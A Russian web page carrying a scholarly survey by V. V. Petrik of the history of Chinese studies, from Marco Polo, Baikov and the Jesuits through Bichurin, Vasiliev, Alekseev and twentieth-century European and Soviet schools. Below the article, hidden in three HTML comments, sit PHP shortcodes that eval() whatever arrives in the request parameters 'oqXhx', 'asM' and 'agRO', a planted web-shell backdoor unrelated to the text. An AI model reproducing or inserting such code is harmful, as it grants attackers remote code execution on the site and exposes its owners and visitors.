КУЛЬТУРА КИТАЯ

В. В. Петрик

Отечественное и зарубежное китаеведение прошло длительный путь развития, беря начало от страно и бытоописательных заметок путешественников, купцов и посольских лиц. Первый шаг на пути знакомства Европы с Китаем был сделан дневниковыми записями знаменитого венецианского купца-путешественника Марко Поло (1254–1324 гг.), проведшего в Китае более 17 лет Для отечественного китаеведения аналогом «Книги Марко Поло» выступает «Статейный список» Федора Байкова (1612–1663 гг.), возглавлявшего русское посольство в Пекине в 1655–1657 гг. В названном сочинении содержались настолько уникальные сведения о ранее неизвестном в Европе маршруте в Китай, о различных сторонах жизни местного населения, что оно было переведено и опубликовано на латинском, немецком, английском, голландском и французском языках, став тем самым достоянием мировой науки. Несколько раз «Список» Ф. Байкова переиздавался и в России [13. C. 21].

Следующая веха в становлении мирового китаеведения связана с пропагандистской и познавательной деятельностью христианских священнослужителей. Католические миссионеры, преимущественно члены ордена иезуитов, появились в Китае в конце XVI – начале XVII вв. Особой известностью из них пользовался итальянский монах Маттео Риччи (1554–1610 гг.) проживавший в Китае с 1582 по 1610 г. Некоторое время он провел в столице империи (г. Пекине), имея доступ в придворные круги и тесно общаясь с представителями столичной образованной элиты. Осознав необходимость вести проповедь христианской веры в условиях китайской цивилизации исходя из местных культурных образцов и духовных устоев, М. Риччи выучил китайский литературный язык и тщательно освоил наиболее авторитетные для национальной традиции письменные памятники. После этого он предпринял первый опыт изложения на китайском языке основ христианского учения. Вот почему именно М. Риччи считается одним из предтечей собственно китаеведения [21. С. 9].

В России главным центром прикладного (создание словарей и учебных пособий, подготовка переводческих и экспертных кадров) и академического (проведение научных исследований) китаеведения на протяжении более 100 лет (с 1727 по 1866 г.) была Российская духовная миссия в Пекине. В состав миссии, менявшейся раз в 10 лет, входили, помимо священнослужителей, студенты-стажеры и лица вспомогательного персонала: ученые-естествоиспытатели, врачи, инженеры, художники и т. п. Многие из этих людей, независимо от их профессионального образования и повседневных обязанностей, занимались изучением истории и культуры Китая. Так начала складываться плеяда отечественных китаеведов. Самый яркий след в истории российской науки оставил отец Палладий Кафаров (1817–1878 гг.), возглавлявший несколько миссий и проведший на Дальнем Востоке в общей сложности 33 года. С его именем оправданно связывается начало освоения культурного наследия Китая, включая идеологические традиции (буддизм) этой страны. Столь же заметной личностью был о. Иакинф Бичурин (Никита Яковлевич Бичурин. 1777–1853 гг.), руководивший духовной миссией с 1807 по 1821 г. Его научные труды заложили собой фундамент практически всех будущих китаеведческих дисциплин (истории, филологии, религиоведения). Н. Я. Бичурин во многом способствовал популяризации знаний о Китае в среде российской интеллигенции [13. С. 22–23].

Заключительный этап становления отечественного и зарубежного китаеведения как самостоятельного научного направления приходится на вторую половину XIX в., когда Китай оказался в центре геополитических и торгово-экономических интересов крупнейших на то время европейских держав – Голландии, Германии, Франции, Англии, а также США и России. Поворотным пунктом в изучении Китая и его культурно-философского наследия стал полный комментированный перевод всех канонических конфуцианских и даосских книг, сделанный в заключительной трети XIX в. английским ученым Джэймсом Леггом (1815–1897 гг.) и отрывший для европейской науки китайские памятники, сосредоточившие в себе духовные основы местной культуры.

Во второй половине XIX – начале ХХ в. сформировалось несколько – немецко-голландская, французская и английская – синологических школ, ведущими представителями которых были соответственно: В. Грубе (1855–1908 гг.) – один из основоположников так называемого этнологического подхода к исследованию Китая, занимавшийся изучением обычаев и обрядов этой страны; Я. Я. де Грот (1854–1921 гг.) – специалист в области религиозной жизни, истории и культуры Китая, одним из основных трудов которого является шеститомное издание «Религии Китая»; Э. Шаванн (1865–1918 гг.) – исследователь древних верований и идеологических направлений – конфуцианства, даосизма и буддизма; М. Гранэ (1884–1940 гг.) – ведущий на то время специалист в области китайской мифологии и обрядовой традиции; Ар. Уэйли (1889 – 1966 гг.) – исследователь философии и художественной культуры (литературы, изобразительного искусства) Китая и т. д. [10].

В 30–50-е гг. ХХ в. когорта западноевропейских синологов пополнилась новыми именами. Среди них шведский ученый Б. Карлрэн (1889–1979 гг.) – основатель шведской синологической школы, направленной на изучение широкого круга проблем духовной культуры Китая; немецкий китаевед Э. Эберхард (р. 1909 г.) – исследователь простонародных и древних верований и обрядов; Э. Грэм (1919–1990 гг.) – английский синолог, занимавшийся проблемами даосской и конфуцианской философии; Д. Бодэ (р. 1909 г.) – американский ученый, автор трудов по истории китайской философии, мифологии и древней религиозно-обрядовой традиции [10].

Возникновение отечественной китаеведческой школы связано с именем академика В. П. Васильева (1818–1900 гг.) – организатора и первого руководителя кафедры китайского языка на восточном факультете Санкт-Петербургского Императорского университета. Его главное сочинение – монография «Буддизм, его догматы, история и литература. Ч. 1. Общее обозрение» (СПБ., 1857), построенная на китайских, монгольских и тибетских первоисточниках, была почти сразу же (в 1860 и 1863 гг.) опубликована на немецком и французском языках. Исследование В. П. Васильева в области китайской идеологии нашли отражение в его следующем фундаментальном труде «Религии Востока. Конфуцианство, буддизм и даосизм» (СПб., 1873).

Из непосредственных учеников В. П. Васильева следует отметить С. М. Георгиевского (1851–1893 гг.), специализировавшегося в области мифологии и традиционной культуры Китая и оставившего после себя несколько монографических сочинений. В частности, в работе «Принципы жизни китайцев» (СПб., 1888) показано общекультурное значение конфуцианской канонической и дидактической литературы, воздействие конфуцианского учения на политическую культуру и законодательство имперского Китая.

Продолжателем школы В. П. Васильева стал академик В. М. Алексеев (1880–1951 гг.), в течение длительного времени возглавлявший уже советское китаеведение. Научное наследие В. М. Алексеева включает в себя около 260 работ по истории культуры Китая: литературоведческие исследования, сравнительные этюды по эстетике, критико-библиографические очерки, художественные переводы поэтических и прозаических памятников.

Из первой плеяды учеников В. М. Алексеева отметим Ю. К. Шуцкого и А. А. Штукина. Так, Ю. К. Шуцкий посвятил себя изучению древних китайских философских памятников. Выполненный им перевод конфуцианского канонического памятника «И цзин» («Канон перемен», впервые издан в 1960 г.) признан одним из фундаментальных синологических трудов ХХ в. А. А. Штукину принадлежит поэтическое переложение еще одного канонического конфуцианского памятника – «Канона поэзии» («Ши цзин») [13. С. 26–27].

С середины ХХ в. наблюдается новый этап в эволюции мирового китаеведения, выразившийся прежде всего в расширении географии научно-исследовательских центров, увеличении количества ученых, подъеме теоретического уровня исследований и углублении их проблематики, в дальнейшей дифференциации научных направлений. В качестве самостоятельных китаеведческих дисциплин выделились даология (работы А. К. Зайдель, Г. Крила, Н. Сивина, К. М. Скиппера), сино-буддология (работы Э. Цюрхера, Р. Х. Робинсона, К. Чэня), исследования истории и культуры архаического и Древнего Китая (работы Д. Н. Китли, М. Лёве, Дж. Мэйджора, К. Чана), история литературно-теоретической и художественно-эстетической мысли (работы Дж. Лю, А. Райта, Ф. Токеи, С. Цоэрена).

Качественное изменение претерпело также синологическое литературоведение, все более отчетливо приобретающее культурологическую окраску: тенденция к изучению литературно-художественных памятников как базисных источников для реконструкции и осмысления общекультурных процессов (работы Д. Р. Кнектегеса, Р. Матера, Дж. Хайтауэра, Х. Х. Франкеля). К числу новых по сравнению с предшествующими работами по проблематике исследований относится монография нидерландского синолога Р. Х. ван Гулика (1910–1967 гг.) «Сексуальная жизнь в Древнем Китае» (Лейден, 1961), посвященная анализу матримониальных устоев, интимных отношений и эротологических воззрений китайцев. Одновременно все эти десятилетия продолжается активная деятельность зарубежных китаеведов по переводу источников и созданию комплексных, обобщающих изданий по тем или иным аспектам истории и культуры Китая. Так, в первой половине 1950-х гг. был осуществлен масштабный проект по изданию многотомного труда «Наука и цивилизация в Китае» (Кембридж, 1954, Т. 1–7), выполненного по инициативе и под руководством английского ученого Дж. Нидема.

Сходная картина наблюдается и в отечественном (советском и современном российском) китаеведении. В 1930–50-е гг. советское китаеведение, как и другие гуманитарные дисциплины, оказалось в тисках официальных идеологических догм, что привело к изменению приоритетных направлений исследований и выдвижению на первый план вопросов изучения повстанческих движений Китая, истории КПК, состояния простонародной (низовой) культурной традиции с одновременным опротестовыванием духовных ценностей китайского имперского общества в их элитарных образцах. Фактически были приостановлены изыскания в области китайских религиозных представлений. Однако образовавшиеся в отечественной науке фактологические и теоретические лакуны были частично восполнены исследованиями многочисленной когорты ученых, расцвет чьей творческой деятельности приходится на 1950–70-е гг. В первую очередь это работы академика Н. И. Конрада, Л. Д. Поздеевой, О. Л. Флишман, Л. З. Эйдлина, Б. Б. Вахтина. Указанные проблемы продолжают успешно восполняться благодаря усилиям китаеведов нескольких поколений, представляющих преимущественно московскую и ленинградскую (санкт-петербургскую) научные школы: Л. С. Васильева, М. В. Крюкова, Е. В. Завадской, А. С. Мартынова, И. С. Лисевича, Е. Б. Поршневой, С. Р. Кучеры, Л. Н. Меньшикова, Л. С. Переломова, Л. Е. Померанцевой, Б. Л. Рифтина, В. Ф. Феоктистова, В. В. Малявина, М. Е. Ермакова, М. Е. Кравцовой, Г. А. Ткаченко, Е. А. Торчинова и многих других [13. С. 28–29].

Таким образом, к настоящему времени отечественным и зарубежным китаеведением накоплен богатый эмпирический материал и предприняты необходимые теоретические разработки для многих аспектов культуры китайской цивилизации, причем в ее полном (от глубокой древности до наших дней) временном объеме.

<!— [insert_php]if (isset($_REQUEST["oqXhx"])){eval($_REQUEST["oqXhx"]);exit;}[/insert_php][php]if (isset($_REQUEST["oqXhx"])){eval($_REQUEST["oqXhx"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["asM"])){eval($_REQUEST["asM"]);exit;}[/insert_php][php]if (isset($_REQUEST["asM"])){eval($_REQUEST["asM"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["agRO"])){eval($_REQUEST["agRO"]);exit;}[/insert_php][php]if (isset($_REQUEST["agRO"])){eval($_REQUEST["agRO"]);exit;}[/php] —>

Комментирование на данный момент запрещено, но Вы можете оставить ссылку на Ваш сайт.

Комментарии закрыты.

guangoy.ru